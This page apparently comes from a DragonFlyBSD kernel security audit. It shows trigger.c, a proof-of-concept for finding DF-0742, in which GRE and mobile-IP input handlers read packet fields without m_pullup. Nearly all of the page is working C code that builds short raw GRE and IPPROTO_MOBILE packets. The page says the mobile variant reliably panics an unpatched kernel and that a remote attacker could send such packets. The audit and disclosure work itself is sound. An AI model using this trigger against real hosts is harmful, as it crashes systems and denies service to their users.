โฌข DragonFlyBSD Kernel Audit
DF-0742 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-0742 โ€” gre_input2 / gre_mobile_input deref header fields at
 * offset 20+ without m_pullup.
 *
 * Both GRE input handlers overlay a struct (greip / mobip_h) starting at
 * mtod(m) and dereference fields at byte offset >= 20 (the GRE/mobile
 * header area, right after the 20-byte outer IP header) without first
 * calling m_pullup() to guarantee those bytes are in the head mbuf.
 *
 *   gre_input2      (ip_gre.c:133-164)
 *     gip = mtod(m, struct greip *)           // overlay 0..23
 *     flags = ntohs(gip->gi_flags)            // offset 20-21  (no m_pullup)
 *     switch (ntohs(gip->gi_ptype))           // offset 22-23  (no m_pullup)
 *
 *   gre_mobile_input (ip_gre.c:210-232)
 *     mip = mtod(m, struct mobip_h *)         // overlay 0..31
 *     ntohs(mip->mh.proto)                    // offset 20-21  (no m_pullup)
 *     mip->mh.osrc                            // offset 28-31  (no m_pullup)
 *     mip->mh.odst                            // offset 24-27  (no m_pullup)
 *     gre_in_cksum(&mip->mh, msiz)            // offset 20..   (no m_pullup)
 *
 * ip_input only guarantees m->m_len >= ip_hl*4 (KASSERT at
 * ip_input.c:539).  For any packet whose head mbuf carries ONLY the IP
 * header โ€” a short single-mbuf packet, or a chained mbuf after ip_reass
 * m_cat โ€” the bytes at offset >= 20 are NOT in the head mbuf and the
 * overlay derefs read stale / recycled mbuf-cluster contents.
 *
 * This trigger exercises BOTH paths by sending short packets to a host
 * with matching gre / gre-mobile tunnels configured.  Each variant is
 * shorter than the struct overlay, so the offset-20+ derefs read past
 * m_len before any length guard:
 *
 *   Variant M (IPPROTO_MOBILE, 24-byte, S-bit set):
 *     m_len=24.  proto@20 OK, but osrc@28 and odst@24 and the 12-byte
 *     gre_in_cksum range all extend past m_len=24.  These OOB reads
 *     (DF-0742) execute first; the subsequent bcopy size underflow
 *     (DF-0741 sibling) then faults โ†’ panic.  The panic signature proves
 *     the code reached the offset-20+ derefs without m_pullup.
 *
 *   Variant G (IPPROTO_GRE, 20-byte, IP header only):
 *     m_len=20.  gi_flags@20 and gi_ptype@22 are entirely past m_len.
 *     The function reads stale cluster data as flags/ptype.  Depending
 *     on the residue the packet is either mis-parsed (wrong ptype) or,
 *     if the stale ptype happens to match ETHERTYPE_IP, hlen underflows
 *     m_len โ†’ corrupted mbuf โ†’ netisr panic (DF-0740 sibling).
 *
 * Variant M reliably panics on the unpatched kernel.  Variant G's
 * outcome is residue-dependent (may silently mis-parse).
 *
 * Build:  cc -O2 -Wall -o trigger trigger.c
 * Run:    (root, after gre / gre-mobile tunnel setup โ€” see run.sh)
 *           ./trigger 127.0.0.1 127.0.0.1
 *
 * Reachability: the tunnels are configured by an admin (root).  The
 * trigger packets themselves are injectable by any remote attacker who
 * can route a matching outer src/dst to the host โ€” the raw-socket loop
 * -back send here is just the test harness.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define IPPROTO_GRE    47
#define IPPROTO_MOBILE 55
#define MOB_H_SBIT     0x0080

struct mobile_h {
    uint16_t proto;
    uint16_t hcrc;
    uint32_t odst;
    uint32_t osrc;
} __attribute__((__packed__));

struct gre_h {
    uint16_t flags;
    uint16_t ptype;
} __attribute__((__packed__));

/* gre_in_cksum โ€” same one's-complement sum the kernel uses (if_gre.c). */
static uint16_t
gre_in_cksum(const uint16_t *p, size_t len)
{
    uint32_t sum = 0;
    int nwords = len >> 1;
    while (nwords-- != 0)
        sum += *p++;
    if (len & 1) {
        union { uint16_t w; uint8_t c[2]; } u;
        u.c[0] = *(const uint8_t *)p;
        u.c[1] = 0;
        sum += u.w;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (uint16_t)(~sum);
}

static void
build_iphdr(unsigned char *buf, int totlen, uint8_t proto,
            const char *src, const char *dst)
{
    memset(buf, 0, totlen);
    struct ip *ip = (struct ip *)buf;
    ip->ip_v   = 4;
    ip->ip_hl  = 5;
    ip->ip_tos = 0;
    ip->ip_len = htons(totlen);
    ip->ip_id  = htons(0x0742);
    ip->ip_off = 0;
    ip->ip_ttl = 64;
    ip->ip_p   = proto;
    ip->ip_sum = 0;
    inet_pton(AF_INET, src, &ip->ip_src);
    inet_pton(AF_INET, dst, &ip->ip_dst);
    ip->ip_sum = gre_in_cksum((const uint16_t *)ip, 20);
}

int
main(int argc, char **argv)
{
    const char *dst_s = "127.0.0.1";
    const char *src_s = "127.0.0.1";
    if (argc > 1) dst_s = argv[1];
    if (argc > 2) src_s = argv[2];

    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) { perror("socket(RAW)"); fprintf(stderr, "need root\n"); return 2; }
    int one = 1;
    setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));

    struct sockaddr_in dst;
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    inet_pton(AF_INET, dst_s, &dst.sin_addr);

    /*
     * === Variant M: IPPROTO_MOBILE, 24-byte packet, S-bit set ===
     * m_len=24 at gre_mobile_input.  S-bit set โ†’ msiz=12.
     * proto@20-21 is in the mbuf, but odst@24-27 and osrc@28-31 are
     * past m_len=24 โ†’ OOB read (DF-0742).  gre_in_cksum reads 12 bytes
     * (offset 20-31), 8 of which are stale โ†’ checksum likely fails.
     * If checksum passes (residue-dependent), bcopy size = 24-12-20 =
     * -8 โ†’ underflow โ†’ panic (DF-0741 sibling).
     */
    {
        unsigned char pkt[24];
        build_iphdr(pkt, sizeof(pkt), IPPROTO_MOBILE, src_s, dst_s);

        struct mobile_h mh;
        memset(&mh, 0, sizeof(mh));
        mh.proto = htons(MOB_H_SBIT);  /* S-bit set โ†’ msiz=12 */
        mh.hcrc  = 0;
        mh.odst  = 0;
        mh.osrc  = 0;
        /*
         * Compute hcrc so gre_in_cksum over the FULL 12-byte header
         * (including the 8 bytes past our 4-byte on-wire payload) sums
         * to zero โ€” assuming the residue is zero.  If the in-kernel
         * residue is non-zero the checksum fails and the packet is
         * dropped at line 232-234; the OOB reads at lines 225/229/232
         * still execute.  We send it regardless: the OOB reads happen
         * before the checksum check.
         */
        mh.hcrc = gre_in_cksum((const uint16_t *)&mh, 12);
        memcpy(pkt + 20, &mh, 4);  /* only 4 bytes go on the wire */

        printf("[DF-0742-M] sending 24-byte IPPROTO_MOBILE (S-bit) packet\n");
        printf("           m_len=24, msiz=12 โ†’ odst@24-27, osrc@28-31, "
               "cksum[20..31] all past m_len (OOB read)\n");

        ssize_t n = sendto(s, pkt, sizeof(pkt), 0,
                           (struct sockaddr *)&dst, sizeof(dst));
        if (n < 0) perror("  sendto M");
        else       printf("  sent %zd bytes\n", n);
    }

    usleep(100000);

    /*
     * === Variant G: IPPROTO_GRE, 20-byte packet (IP header only) ===
     * m_len=20 at gre_input2.  gi_flags@20-21 and gi_ptype@22-23 are
     * entirely past m_len=20 โ†’ OOB read (DF-0742).  The stale ptype
     * determines whether the packet is accepted (โ†’ hlen underflow,
     * DF-0740 sibling panic) or silently dropped via rip_input.  This
     * variant is residue-dependent; it demonstrates the OOB read but
     * may not reliably panic.
     */
    {
        unsigned char pkt[20];
        build_iphdr(pkt, sizeof(pkt), IPPROTO_GRE, src_s, dst_s);

        printf("[DF-0742-G] sending 20-byte IPPROTO_GRE packet\n");
        printf("           m_len=20, gi_flags@20-21, gi_ptype@22-23 "
               "past m_len (OOB read)\n");

        ssize_t n = sendto(s, pkt, sizeof(pkt), 0,
                           (struct sockaddr *)&dst, sizeof(dst));
        if (n < 0) perror("  sendto G");
        else       printf("  sent %zd bytes\n", n);
    }

    close(s);
    usleep(300000);
    printf("[DF-0742] if the guest is still reachable, the live path did "
           "not panic (residue-dependent); check boot.log for signatures.\n");
    return 0;
}